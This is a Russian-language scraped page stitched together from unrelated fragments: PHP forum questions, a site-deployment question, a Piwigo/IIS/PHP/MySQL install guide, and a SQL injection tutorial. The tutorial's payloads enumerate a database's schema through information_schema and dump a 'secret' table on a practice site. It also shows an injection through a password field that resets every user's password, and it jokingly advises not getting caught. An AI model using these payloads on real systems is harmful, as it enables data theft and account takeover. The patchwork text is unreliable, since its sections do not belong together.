Система сообщений на php
Привет всем! Ребята, которые шарят в php, нужна помощь, как можно сделать систему сообщений, чтобы сервер выжерживал большого количества людей?
Пропадает " Зубная щетка при таком запросе :SELECT offers.name,requests.price,requests.count FROM requests INNER JOIN offers on requests.offer_id=offers.id GROUP BY offers.name,requests.price,requests.count ORDER BY offers.name;
Как выкрутиться с ситуации
Подскажите пожалуйста, в каком направлении искать и может есть уже какие то готовые решения.
Есть рабочий debian сервер обслуживающий на nginx довольно крупный сайт в обвязке php+mysql. Все кастомное, никаких фреймворков, код раскидан по разным папкам, разные разработчики в разное время придерживались разных подходов к проектированию приложений и сейчас это такой большой "снеговик" сложно управляемый.
Задача.
Облегчить развертывание актуальных версий проекта из множества php приложений или на dev сервере или что еще лучше, чтобы разработчик мог получить полноценную локальную версию копии рабочего сайта со всем серверным окружением под любой клиентской операционной системой. Нужно еще учитывать, что есть конфиденциальные данные пользователей в БД, которые не нужно давать разработчику, дабы не утекли.
Для себя, по простому делаю бэкапы файлов, бэкапы базы и перекидываю на свой уже настроенный локальный сервер. Для каких то частных задач это подходит, но концептуально это не правильно - нет полноценного окружения и возможны ошибки в продакшене.
И довольно много времени уходит на бэкап и развертывание актуального состояния файлов и базы.
Смотрю в сторону виртуализации и контейнеризации.
Есть идея сделать образ всей системы "на живую". Перекинуть в VirtualBox или Docker (на винде на маке или линукс), но там диски по несколько терабайт, по сети дергать это нереально. Может быть сделать это один раз, типа базовый образ системы, а потом добавлять только изменения.
Подскажите, кто сталкивался с подобными задачами, как можно это реализовать?
Спасибо)
Установка PHP MyAdmin
PHP MyAdmin — это веб-приложение для управление MySQL сервером. Скачать его можно без рекламы и смс.
Нам нужно определиться с каталогом для хранения сайтов. Я выбрал диск D. не забыдьте добавить разрешения на запись для группы безопасности «IIS_IUSRS». Создадим каталог для Myadmin и распакуем его туда. Откроем Диспетчер IIS
InetMgr.exe
Нам требуется добавить сайт для MyAdmin — в этом ничего сложного нет, всё интуитивно понятно.
Не забудьте настроить DNS для работы новых сайтов. Для локального тестирования я добавить записи в файл hosts.
127.0.0.1 myadmin.uhanov.org
127.0.0.1 piwigo.uhanov.org
Откроем в браузере адрес myadmin.uhanov.org. Логин и пароль используем, что создали при установке MySQL.
Создание базы данных и назначение прав пользователя
В окне PHP MyAdmin смело нажимаем ссылку создать базу. База будет пустая, о чем нас уведомят.
Теперь открываем пункт привилегии и создаем нового пользователя с полными правами на базу. Все данные пользователя записываем.
Настройка Piwigo
Перейдем на сайт piwigo.uhanov.org и укажем все данные, что мы задавали ранее и учетную запись администратора галереи.
Установка и настройка завершена.
Самый важный вопрос, что предстоит решить — это доступ к галерее из интернета или с компьютеров локальной сети. В любом случае, вопрос разрешения имен придется решить.
В прошлой своей заметке я говорил о Piwigo и обещал рассказать об установке и настройке дома. Здесь я не буду рассматривать Windows Server или Linux системы. Про linux позже. Впрочем, инструкция применима к Windows Server чуть более, чем полностью. Определим системные минимальные требования решения:
- Windows 7 (IIS 7.5)
- PHP 5.2
- MySQL 5
Это достаточно древнее программное обеспечение - использовать его мы конечно, не будем. Но и последний MySQL 8 несовместим с Piwigo.
- Windows 10 (IIS 10)
- PHP 7.3.0
- MySQL 5.7.24
Установка веб-сервера IIS
Веб-сервер входит в поставку Windows, остается его включить. Для того, что-бы сразу попасть в нужное меню панели управления, в меню выполнить (WIN+R) введем команду:
control appwiz.cpl
Выбираем пункт: включение и отключение компонентов Windows. И включите компоненты, как на снимке ниже.
После окончания установки (и перезагрузки) откроем в браузере адрес http://localhost. Должна открыться страница как на снимке ниже. Если всё хорошо, то продолжаем.
Установка PHP
PHP поставляется в виде архива, который следует распаковать в Program Files (или в Program Files (x86) в зависимости от разрядности). Переходим по ссылке и скачиваем PHP, соответствующий разрядности операционной системы. Нас интересуют только Non Thread Safe версии. Обратите внимание на версию Visual Studio Compiler - его тоже придется скачать в соответствии с выбранной версией PHP. Ссылки слева на странице.
Нам так-же потребуется PHP Manager. Скачать можно у Microsoft.
После установки и распаковки всего вышеперечисленного, открываем панель управления IIS.
InetMgr.exe
Там открываем PHP Manager и регистрируем распакованный PHP.
После регистрации PHP, нам надо проверить его работу. Проверьте, что указана именно ваша версия PHP (отмечено зеленым) и нажмите ссылку, отмеченную красным. Должна открыться страница как на втором скрине ниже.
Крайне важно отсутствие любых ошибок на этом этапе. Идем дальше.
Установка MySQL
Нас интересует MySQL Community Server. С официального сайта качаем инсталлятор для Windows. Качайте веб-инсталлятор - все компоненты нам не нужны. Выберите ручную установку.
Настройте фильтр на показ других релизов. Далее момент, требующий уточнения: нам нужно выбрать MySQL последний из версии 5.х, разрядностью, в соответствии системе. Notifer поможет в управлении службой.
Задайте очень хороший пароль пользователю root. Создайте нового пользователя с полными правами и хорошим паролем. Разрешите вход только с localhost. Им и пользуйтесь.
Установку мы закончили, во второй части рассмотрю настройку.
Руководство для начинающих пользователей, им знать про Nginx и Apache пока рано, но всё будет.
Ломать сайты можно множеством способов, но один из самых простых и эффективных, если программист достаточно криворукий это SQL-инъекции
Давайте же немного обсудим данную тему.
Для того чтобы понять что тут происходит в принципе не нужно уметь программировать, знать SQL язык. Достаточно быть не сильно идиотом.
Что из себя представляют SQL инъекции? Это некие неправомерные действия, которые не предполагались выполняться данным скриптом.
Если привести пример из реальности, то это будет нечто такое:
Мать написала отцу записку:
Купи Васе конфет
А Вася взял и дописал: " и Пива"
В итоге отец видит записку:
Купи Васе конфет и Пива
Конечно когда прочитают логи и сверят данные Вася получит ремня, но временно он взломал систему. (поэтому правило первое, старайтесь действовать так чтоб вас не спалили)
Тут я подготовил простенький интерфейс на котором можно побаловаться:
https://test.ser60v.ru/injection/
По нормальному мы можем добавить строку, либо вытащить данные по поиску данной строки, дабы каждый ещё смог оставить немного своей дури:
Попробуем в поле поиска вбить не ololo
а
ololo' -- pikabu
Вывод выдаёт то же самое, итого мы можем применять инъекции.
В коде на сервере запрос выглядит так
SELECT * FROM `example` WHERE `text`='$find'
Мы же сами закрываем кавычки и комментируем всё последующее двумя дефисами.
Профит.
Что же мы можем сделать теперь?
Например добавить свой вывод:
' AND 0>1 UNION SELECT 1,2 -- pikabu
В этом случае мы выводим 1,2, но кому это интересно?
Если уж мы получили делать возможность инъекции необходимо узнать структуру базы, дабы получить возможность формировать желаемые запросы.
Получаем список баз
' AND 0>1 UNION SELECT GROUP_CONCAT(distinct(table_schema)), 1 FROM information_schema.columns WHERE ''='
Таким запросом мы получим список баз к которым у данного пользователя есть доступ.
Тут в принципе не нужно ничего понимать, мы выводим столько же полей, потому как знаем что у нас их 2. Но в первое выводим через запятую все базы, к которым можем получить доступ.
Отлично, мы знаем что наша база называется injection
Теперь получим список таблиц нашей базы
' AND 0>1 UNION SELECT GROUP_CONCAT(distinct(table_name)), 1 FROM information_schema.columns WHERE table_schema='injection' and ''='
Получаем список колонок из таблицы secret
' AND 0>1 UNION SELECT GROUP_CONCAT(distinct(column_name)), 1 FROM information_schema.columns WHERE table_schema='injection' and table_name='secret' and ''='
Их внезапно тоже 2, так что не парясь можно получить всё содержимое.
' AND 0>1 UNION SELECT * FROM secret WHERE ''='
Много воли я решил не давать вам на сервере, например нет возможности редактировать структуру базы, создавать новые таблицы, удалять строки. Иначе начнётся тотальный треш.
В сущности, сейчас найти данную уязвимость практически невозможно. Но всякое в жизни бывает...
Так например было дело, на каком-то ресурсе удалось при редактировании своего пароля установить такой пароль всем, потому как было что-то типа:
UPDATE `users` SET `password`='$password' WHERE id=$id
Ну и если мы делаем переменную $password
newPass' -- ololo
То пароль newPass ставится для всех пользователей.
Защититься от инъекций куда проще, чем их использовать, но если доступ к оным получен - это дарует много возможностей.
Если кто-то сможет сделать insert/update в таблицу secret каким-то образом - с меня пиво первому сделавшему..)